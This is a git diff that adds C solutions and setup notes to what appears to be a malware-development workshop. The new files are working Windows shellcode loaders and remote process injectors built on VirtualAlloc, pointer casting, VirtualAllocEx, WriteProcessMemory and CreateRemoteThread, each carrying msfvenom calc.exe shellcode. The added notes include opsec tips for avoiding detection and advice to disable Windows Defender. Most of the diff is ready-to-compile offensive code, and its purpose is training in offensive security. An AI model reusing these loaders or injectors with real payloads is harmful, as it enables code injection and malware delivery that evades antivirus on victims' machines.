diff --git a/Exercises/BONUS Exercise 1 - Basic Loader Without CreateThread/solutions/C/BasicShellcodeLoaderNoCreateThread.c b/Exercises/BONUS Exercise 1 - Basic Loader Without CreateThread/solutions/C/BasicShellcodeLoaderNoCreateThread.c new file mode 100644 index 0000000..4c7836d --- /dev/null +++ b/Exercises/BONUS Exercise 1 - Basic Loader Without CreateThread/solutions/C/BasicShellcodeLoaderNoCreateThread.c @@ -0,0 +1,34 @@ +#include +#include + +// msfvenom calc shellcode +// msfvenom -p windows/x64/exec CMD=calc.exe -f c +unsigned char calcshellcode[296] = + { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c, + 0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33, + 0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 }; + +int main() +{ + void* exec = VirtualAlloc(0, sizeof(calcshellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(exec, calcshellcode, sizeof calcshellcode); + ((void(*)())exec)(); +} + diff --git a/Exercises/BONUS Exercise 2 - Basic Injector With Dynamic Target/solutions/C/BasicShellcodeInjectorDynamicTarget.c b/Exercises/BONUS Exercise 2 - Basic Injector With Dynamic Target/solutions/C/BasicShellcodeInjectorDynamicTarget.c new file mode 100644 index 0000000..64927b2 --- /dev/null +++ b/Exercises/BONUS Exercise 2 - Basic Injector With Dynamic Target/solutions/C/BasicShellcodeInjectorDynamicTarget.c @@ -0,0 +1,144 @@ +#include +#include +#include + + +HANDLE SpawnProcess(LPCWSTR processName) +{ + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInfo; + ZeroMemory(&startupInfo, sizeof(startupInfo)); + startupInfo.cb = sizeof(startupInfo); + ZeroMemory(&processInfo, sizeof(processInfo)); + // Create the new process + wchar_t processPath[MAX_PATH]; + wcscpy_s(processPath, MAX_PATH, L"C:\\Windows\\System32\\"); + wcscat_s(processPath, MAX_PATH, processName); + + if (!CreateProcessW((LPWSTR)processPath,NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo)) + { + printf("Failed to create process. Error code: %d\n", GetLastError()); + return NULL; + } + // Close the unnecessary process and thread handles + CloseHandle(processInfo.hThread); + printf("%ls spawned! PID: %d\n", processName, processInfo.dwProcessId); + return processInfo.hProcess; +} + + +HANDLE getProcessHandle(LPCWSTR processName) +{ + HANDLE hProcess = NULL; + HANDLE snapshotHandle = NULL; + PROCESSENTRY32 processEntry; + + snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snapshotHandle == INVALID_HANDLE_VALUE) + { + printf("Failed to create snapshot.\n"); + return NULL; + } + + // Set the size of the structure before using it + processEntry.dwSize = sizeof(PROCESSENTRY32); + + // Iterate through the process list to find the specified process + if (Process32First(snapshotHandle, &processEntry)) + { + do + { + if (wcscmp(processEntry.szExeFile, processName) == 0) + { + hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID); + printf("%ls found! injecting in PID: %d\n",processName,processEntry.th32ProcessID); + break; + } + } while (Process32Next(snapshotHandle, &processEntry)); + } + // Close the snapshot handle + CloseHandle(snapshotHandle); + if (!hProcess) + { + printf("%ls does not seem to exist yet, attempting to spawn it\n",processName); + hProcess = SpawnProcess(processName); + } + return hProcess; +} + + + +//depending on the shellcode, your process might exit. with the shellcode below your spawned process is not going to live after you have injected the shellcode. +BOOL inject(HANDLE hProcess) +{ + //first check, did we get a valid handle? if not return false. + if (!hProcess) + { + return FALSE; + } + + + //for the sake of example we define our shellcode here instead of inside a global variable :) + // msfvenom calc shellcode + // msfvenom -p windows/x64/exec CMD=calc.exe -f c + // we are defining the shellcode here globally; but you can also just define it in a function + unsigned char calcshellcode[296] = { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c, + 0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33, + 0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 }; + + + LPVOID remoteVirtualAddressLocation = VirtualAllocEx(hProcess, NULL, sizeof(calcshellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (remoteVirtualAddressLocation) + { + //we were able to write new virtual memory in the remote process, we can write to this location now. + size_t byteswritten = 0; + BOOL writesuccess = WriteProcessMemory(hProcess, remoteVirtualAddressLocation, calcshellcode, sizeof(calcshellcode), &byteswritten); + if (writesuccess) + { + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteVirtualAddressLocation, NULL, 0, NULL); + if (hThread) + { + return TRUE; + } + return FALSE; + } + //if the shellcode could not be written, we return FALSE + return FALSE; + } + + return FALSE; +} + + +int main() +{ + HANDLE hProcess = getProcessHandle(L"notepad.exe"); + //uncomment this if you want to actually see your spawned process live. uncommenting the below code requires you to press a key to continue with injection. + //printf("press any key to inject.\n"); + //getchar(); + if (hProcess) + { + inject(hProcess); + } + +} + + diff --git a/Exercises/Exercise 1 - Basic Shellcode Loader/README.md b/Exercises/Exercise 1 - Basic Shellcode Loader/README.md index 112fe26..802e4e6 100644 --- a/Exercises/Exercise 1 - Basic Shellcode Loader/README.md +++ b/Exercises/Exercise 1 - Basic Shellcode Loader/README.md @@ -33,7 +33,7 @@ Remember the various API calls you can use. There are two combinations that make This is an alternative to the above, another very popular way of executing shellcode. You can use `VirtualAlloc()` to allocate an executable memory region for the shellcode, and then copy your shellcode into the allocated memory. The result is the same as the first method. -Copying memory can be done without API calls using built-in functions, like `Marshal.copy` for C#, `copyMem` for Nim, `std::ptr::copy` for Rust. +Copying memory can be done without API calls using built-in functions, like `Marshal.copy` for C#, `copyMem` for Nim, `std::ptr::copy` for Rust and `memcpy` in C. > ⚠ **Note:** Depending on the type of shellcode you are using, you may need to use the `WaitForSingleObject()` API to keep your program alive while it is running your shellcode. This is only required for long-running shellcodes, such as a CobaltStrike beacon. @@ -47,7 +47,7 @@ Alternatively, you may opt to dynamically resolve the function calls. While hard ### Casting pointers - an alternative to `CreateThread()` -Instead of using the `CreateThread()` API, you can use a technique called "casting a pointer" to turn your shellcode memory into a function and execute it in the current thread. You can see examples [here (C#)](https://tbhaxor.com/execute-unmanaged-code-via-c-pinvoke/), [here (Rust)](https://stackoverflow.com/a/46134764), and [here (Nim)](https://github.com/byt3bl33d3r/OffensiveNim/issues/16#issuecomment-757228116). This avoids calling a suspicious API function, but brings problems of its own (such as the thread hanging, or potential program crashes after your shellcode returns). +Instead of using the `CreateThread()` API, you can use a technique called "casting a pointer" to turn your shellcode memory into a function and execute it in the current thread. You can see examples [here (C#)](https://tbhaxor.com/execute-unmanaged-code-via-c-pinvoke/), [here (Rust)](https://stackoverflow.com/a/46134764), [here (Nim)](https://github.com/byt3bl33d3r/OffensiveNim/issues/16#issuecomment-757228116) and [here (C)](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection). This avoids calling a suspicious API function, but brings problems of its own (such as the thread hanging, or potential program crashes after your shellcode returns). ### Rust tips @@ -115,6 +115,7 @@ These steps can be time-consuming, but meanwhile the windows package is updated - [Shellcode_Local_Inject](https://github.com/trickster0/OffensiveRust/blob/master/Shellcode_Local_inject/src/main.rs) - [Process_Injection_Self_EnumSystemGeoID](https://github.com/trickster0/OffensiveRust/blob/master/Process_Injection_Self_EnumSystemGeoID/src/main.rs) + ## Solution Example solutions are provided in the [solutions folder](solutions/). Keep in mind that there is no "right" answer, if you made it work that's a valid solution! \ No newline at end of file diff --git a/Exercises/Exercise 1 - Basic Shellcode Loader/solutions/C/BasicShellcodeLoader.c b/Exercises/Exercise 1 - Basic Shellcode Loader/solutions/C/BasicShellcodeLoader.c new file mode 100644 index 0000000..4c0751e --- /dev/null +++ b/Exercises/Exercise 1 - Basic Shellcode Loader/solutions/C/BasicShellcodeLoader.c @@ -0,0 +1,58 @@ +// Exercise 1 - Basic Shellcode Loader.cpp : This file contains the 'main' function. Program execution begins and ends there. +// + +#include +#include + +//in C it is often better to read the shellcode dynamically +//it is harder to include long shellcode because of compiler problems +//if you really want to add the shellcode in the binary, there are ways such as attaching it as a resource +//a nice reference for this: https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#code + + +int main() +{ + + // msfvenom calc shellcode + // msfvenom -p windows/x64/exec CMD=calc.exe -f c + unsigned char calcshellcode[296] = { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c, + 0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33, + 0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 }; + + //if you want to get the size dynamically, you can use the sizeof built in C function + int shellcodeSize = sizeof(calcshellcode); + + // Allocate RWX (read-write-execute) memory to execute the shellcode from + // Opsec tip: RWX memory can easily be detected. Consider making memory RW first, then RX after writing your shellcode + //https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc + LPVOID shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + //memcpy_s (safe function for memcpy), you can also use regular memcpy but then you need to disable compiler warnings + memcpy_s(shellcodeAddress, shellcodeSize, calcshellcode, shellcodeSize); + // Create a thread at the start of the executable shellcode to run it! + + HANDLE payThreadId = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddress,NULL, 0, 0); + + // Wait for our thread to exit to prevent program from closing before the shellcode ends + // This is especially relevant for long-running shellcode, such as malware implants + WaitForSingleObject(payThreadId, -1); + +} + diff --git a/Exercises/Exercise 2 - Basic Shellcode Injector/solutions/C/BasicShellcodeInjector.c b/Exercises/Exercise 2 - Basic Shellcode Injector/solutions/C/BasicShellcodeInjector.c new file mode 100644 index 0000000..c0d4ecb --- /dev/null +++ b/Exercises/Exercise 2 - Basic Shellcode Injector/solutions/C/BasicShellcodeInjector.c @@ -0,0 +1,73 @@ +#include +#include + + // msfvenom calc shellcode + // msfvenom -p windows/x64/exec CMD=calc.exe -f c + // we are defining the shellcode here globally; but you can also just define it in a function + unsigned char calcshellcode[296] = { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c, + 0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33, + 0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x0 }; + +BOOL inject(DWORD pid) +{ + //get a handle to the process you wish to inject into, there are ways to get the process ID programatically, but this is out of scope for this workshop + // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess + HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + BOOL success = FALSE; + + //check if handle is valid, if not we wont be able to inject so no use in going further + if (!pHandle) + { + return FALSE; + } + + //alocate virtual memory to the remote process + LPVOID remoteVirtualAddressLocation = VirtualAllocEx(pHandle, NULL, sizeof(calcshellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + //check if we got a valid remotememoryallocation pointer back, if not return false. + if (remoteVirtualAddressLocation) + { + //we were able to write new virtual memory in the remote process, we can write to this location now. + SIZE_T byteswritten = 0; + BOOL writesuccess = WriteProcessMemory(pHandle, remoteVirtualAddressLocation, calcshellcode, sizeof(calcshellcode), &byteswritten); + if (writesuccess) + { + HANDLE hThread = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteVirtualAddressLocation, NULL, 0, NULL); + if (hThread) + { + return TRUE; + } + return FALSE; + } + //if the shellcode could not be written, we return FALSE + return success; + } + return success; +} + +int main() +{ + //change the pid here to a process that actually is running on your system :) + inject(14764); + +} + + diff --git a/README.md b/README.md index 3e2526a..0075f9f 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ To get started with malware development, you will need a dev machine so that you - **Nim lang**: Follow the [download instructions](https://nim-lang.org/install.html). [Choosenim](https://github.com/dom96/choosenim) is a convenient utility that can be used to automate the installation process. - **Golang** (thanks to @nodauf for the PR): Follow the [download instructions](https://go.dev/doc/install). - **Rust**: [Rustup](https://www.rust-lang.org/tools/install) can be used to install Rust along with the required toolchains. +- **C**: Visual Studio will give you the option to download the MSVC runtime and the Windows SDK runtime. Optionally you could also install another compiler on your Windows system such as [mingw](https://www.mingw-w64.org/downloads/) Don't forget to disable Windows Defender or add the appropriate exclusions, so your hard work doesn't get quarantined! Later on, we can test on a separate machine with defensive controls like AV enabled. @@ -97,6 +98,15 @@ If you want to optimize your build for size and strip debug information, you can cargo build --release ``` +### C + +C code is easiest to compile via Visual Studio itself. If you decide to create C malware and use Visual Studio as your IDE, you will have to select the console application (c++) template and then rename your source file from `.cpp` to `.c`. This will automagically tell Visual Studio to interpret your source code as C instead of C++. +If you wish to compile it manually, it can also be done using the following command. + +``` +cl sourceCodeName.c +``` + ## Dependencies ### C# @@ -123,6 +133,10 @@ go mod tidy Some examples depend on the `windows-sys` crate to call the Windows API. Since we are using Cargo, packages will be automatically managed when you compile a test or release build. +### C + +Most solutions can be compiled without dependencies. In the C world, dependencies are often provided in the form of "header" files. + ## Resources The workshop slides reference some resources that you can use to get started. Additional resources, such as relevant blogs or code snippets, are listed in the `README.md` files for each exercise!